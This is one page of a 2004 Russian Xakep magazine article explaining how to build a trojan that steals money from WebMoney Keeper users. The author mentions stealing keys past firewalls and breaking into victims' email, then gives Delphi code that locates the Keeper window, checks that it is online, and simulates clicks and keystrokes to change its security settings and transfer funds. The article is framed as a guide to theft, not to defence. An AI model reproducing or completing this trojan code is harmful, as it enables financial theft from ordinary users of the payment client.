Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #67, ИЮЛЬ 2004 г.

Ломка WebMoney

Crack (crack@rsteam.ru)

Xakep, номер #067, стр. 067-042-2


Третья проблема заключается в том, что у пользователя может попросту стоять файрвол, который не пустит мою программу при пересылке ключей. Это, на самом деле, тоже не беда - существует множество способов обхода файрволов под Windows. И, наконец, четвертая проблема заключается в том, что при использовании краденых ключей необходимо пройти повторную активизацию, а код активизации присылается на почтовый ящик бывшего владельца. То есть тут необходимо взламывать e-mail жертвы, что порой не так-то просто. В принципе, все эти проблемы вполне можно разрешить. Но встает вопрос - зачем? Ведь есть второй способ кражи денег, который легко обходит все эти защитные меры.

Уязвимое место №2

Второй способ заключается в том, что мой троян заставит отправить программу-клиента деньги на нужный мне кошелек, вызвав некоторую функцию. Программа просто будет висеть в памяти и проверять все окна на наличие заголовка "WebMoney Keeper". Это легко делается с помощью API-функции findwindow. Затем я буду получать хэндлы дочерних окон: это нужные поля ввода, кнопки и другие необходимые мне объекты. Для получения хэндлов дочерних окон используется функция getwindow, первым параметром которой выступает хэндл основного окна, а вторым - gw_child. Итак, программа висит и ждет появления окна с заголовком "WebMoney Keeper", а я жду, пока программа-клиент законнектится к серваку. Эту проверку я реализовал следующим образом. API-функциями получаю хэндл кнопки, на которой написан статус программы (онлайн или офлайн) и затем, при помощи функции wm_gettext, считываю текст с кнопки. Вот этот нехитрый код:

Проверяем статус программы

if FindWindow(nil, 'WebMoney Keeper')><0 then

begin

KeeperWnd := FindWindow(0,'WebMoney Keeper');

ButtonWnd[1]:=GetWindow(KeeperWnd, gw_Child);

for i:=2 to 6 do ButtonWnd[i]:= GetWindow(ButtonWnd[i-1],gw_HWNDNext);

SetLength(ButText,20);

while Copy(ButText,1,3)><' On' do //Получаем первые три символа слова Online

begin

SendMessage(ButtonWnd[6],WM_GETTEXT,20,Longint(@ButText[1]));

end;

end;

При помощи цикла for я получаю первые шесть хэндлов дочерних окон. Важный момент - шестой дескриптор указывает на кнопку со статусом соединения. После всего этого я могу смело приступать к своим гнусным делам :). Для начала необходимо изменить некоторые опции безопасности WM Keeper'а, чтобы процедура пересылки денег прошла безболезненно. Для этого необходимо получить хэндл кнопки вызова меню (она пятая по счету), кликнуть по ней и затем перемещаться по меню с помощью сообщений wm_keydown и wm_keyup. Вот ключевой момент программы:

Свободно лазить по меню

sendmessage(ButtonWnd[5], WM_LBUTTONDOWN, MK_LBUTTON, 0);

sendmessage(ButtonWnd[5], WM_LBUTTONUP, 0, 0);

sleep(5);

GetWindowRect(ButtonWnd[5],korbut);

point.x :=korbut.TopLeft.X+5;

point.y :=korbut.TopLeft.Y-40;

MenWnd:=WindowFromPoint(point);

PostMessage (MenWnd, WM_KEYDOWN, VK_UP, 0); //так перемещаться вниз

//...перемещаемся, куда нам нужно

PostMessage (hControl, WM_KEYDOWN, VK_RETURN, 0); //так жму Enter

Назад на стр. 067-042-1  Содержание  Вперед на стр. 067-042-3